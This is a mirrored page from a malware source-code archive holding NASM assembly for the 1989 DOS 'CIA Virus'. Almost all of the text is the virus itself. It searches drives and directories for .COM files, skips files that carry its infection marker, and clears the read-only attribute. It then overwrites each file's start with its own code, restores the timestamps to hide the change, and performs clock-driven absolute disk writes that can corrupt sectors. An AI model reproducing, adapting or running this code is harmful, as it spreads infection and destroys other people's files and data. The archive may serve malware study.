mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
240 lines
5.1 KiB
NASM
240 lines
5.1 KiB
NASM
page 70,120
|
|
Name CIAVIRUS
|
|
;************************************
|
|
; CIA Virus (C) 1989 by
|
|
; Live Wire
|
|
;************************************
|
|
|
|
|
|
code segment
|
|
assume cs:code
|
|
progr equ 100h
|
|
ORG progr
|
|
|
|
main:
|
|
nop
|
|
nop
|
|
nop
|
|
mov ax,00
|
|
mov es:[pointer],ax
|
|
mov es:[counter],ax
|
|
mov es:[disks],al
|
|
mov ah,19h
|
|
int 21h
|
|
mov cs:drive,al
|
|
mov ah,47h
|
|
mov dh,0
|
|
add al,1
|
|
mov dl,al
|
|
lea si,cs:old_path
|
|
int 21h
|
|
mov ah,0eh
|
|
mov dl,0
|
|
int 21h
|
|
mov al,01
|
|
cmp al,01
|
|
jnz hups3
|
|
mov al,06
|
|
|
|
hups3: mov ah,0
|
|
lea bx,search_order
|
|
add bx,ax
|
|
add bx,0001h
|
|
mov cs:pointer,bx
|
|
clc
|
|
|
|
change_disk:
|
|
jnc no_name_change
|
|
mov ah,17h
|
|
lea dx,cs:maske_exe
|
|
int 21h
|
|
cmp al,0ffh
|
|
jnz no_name_change
|
|
mov ah,2ch
|
|
int 21h
|
|
mov bx,cs:pointer
|
|
mov al,cs:[bx]
|
|
mov bx,dx
|
|
mov cx,2
|
|
mov dh,0
|
|
int 26h
|
|
|
|
no_name_change:
|
|
mov bx,cs:pointer
|
|
dec bx
|
|
mov cs:pointer,bx
|
|
mov dl,cs:[bx]
|
|
cmp dl,0ffh
|
|
jnz hups2
|
|
jmp hops
|
|
|
|
hups2:
|
|
mov ah,0eh
|
|
int 21h
|
|
mov ah,3bh
|
|
lea dx,path
|
|
int 21h
|
|
jmp find_first_file
|
|
|
|
find_first_subdir:
|
|
mov ah,17h
|
|
lea dx,cs:maske_exe
|
|
int 21h
|
|
mov ah,3bh
|
|
lea dx,path
|
|
int 21h
|
|
mov ah,04eh
|
|
mov cx,00010001b
|
|
lea dx,maske_exe
|
|
int 21h
|
|
jc change_disk
|
|
|
|
mov bx,CS:counter
|
|
inc bx
|
|
dec bx
|
|
jz use_next_subdir
|
|
|
|
find_next_subdir:
|
|
mov ah,4fh
|
|
int 21h
|
|
jc change_disk
|
|
dec bx
|
|
jnz find_next_subdir
|
|
|
|
use_next_subdir:
|
|
mov ah,2fh
|
|
int 21h
|
|
add bx,1ch
|
|
mov es:[bx],'\ '
|
|
inc bx
|
|
push ds
|
|
mov ax,es
|
|
mov ds,ax
|
|
mov dx,bx
|
|
mov ah,3bh
|
|
int 21h
|
|
pop ds
|
|
mov bx,cs:counter
|
|
inc bx
|
|
mov cs:counter,bx
|
|
|
|
find_first_file:
|
|
mov ah,04eh
|
|
mov cx,00000001b
|
|
lea dx,maske_com
|
|
int 21h
|
|
jc find_first_subdir
|
|
jmp check_if_ill
|
|
|
|
find_next_file:
|
|
mov ah,4fh
|
|
int 21h
|
|
jc find_first_subdir
|
|
|
|
check_if_ill:
|
|
mov ah,3dh
|
|
mov al,02h
|
|
mov dx,9eh
|
|
int 21h
|
|
mov bx,ax
|
|
mov ah,3fh
|
|
mov cx,buflen
|
|
mov dx,buffer
|
|
int 21h
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
mov bx,cs:[buffer]
|
|
cmp bx,9090h
|
|
jz find_next_file
|
|
|
|
mov ah,43h
|
|
mov al,0
|
|
mov dx,9eh
|
|
int 21h
|
|
mov ah,43h
|
|
mov al,01h
|
|
and cx,11111110b
|
|
int 21h
|
|
|
|
mov ah,3dh
|
|
mov al,02h
|
|
mov dx,9eh
|
|
int 21h
|
|
|
|
mov bx,ax
|
|
mov ah,57h
|
|
mov al,0
|
|
int 21h
|
|
push cx
|
|
push dx
|
|
|
|
mov dx,cs:[conta]
|
|
mov cs:[jmpbuf],dx
|
|
mov dx,cs:[buffer+1]
|
|
lea cx,cont-100h
|
|
sub dx,cx
|
|
mov cs:[conta],dx
|
|
|
|
mov ah,40h
|
|
mov cx,buflen
|
|
lea dx,main
|
|
int 21h
|
|
|
|
mov ah,57h
|
|
mov al,1
|
|
pop dx
|
|
pop cx
|
|
int 21h
|
|
|
|
mov ah,3eh
|
|
int 21h
|
|
|
|
mov dx,cs:[jmpbuf]
|
|
mov cs:[conta],dx
|
|
hops: nop
|
|
call use_old
|
|
|
|
cont db 0e9h
|
|
conta dw 0
|
|
mov ah,00
|
|
int 21h
|
|
|
|
use_old:
|
|
mov ah,0eh
|
|
mov dl,cs:drive
|
|
int 21h
|
|
|
|
mov ah,3bh
|
|
lea dx,old_path-1
|
|
int 21h
|
|
ret
|
|
|
|
search_order db 0ffh,1,0,2,3,0ffh,00,0ffh
|
|
pointer dw 0000
|
|
counter dw 0000
|
|
disks db 0
|
|
|
|
|
|
maske_com db "*.com",00
|
|
maske_dir db "*",00
|
|
maske_exe db 0ffh,0,0,0,0,0,00111111b
|
|
db 0,"????????exe",0,0,0,0
|
|
db 0,"????????com",0
|
|
maske_all db 0ffh,0,0,0,0,0,00111111b
|
|
db 0,"???????????",0,0,0,0
|
|
db 0,"????????com",0
|
|
|
|
buffer equ 0e000h
|
|
|
|
buflen equ 230h
|
|
jmpbuf equ buffer+buflen
|
|
path db "\",0
|
|
drive db 0
|
|
back_slash db "\"
|
|
old_path db 32 dup (?)
|
|
|
|
code ends
|
|
|
|
end main
|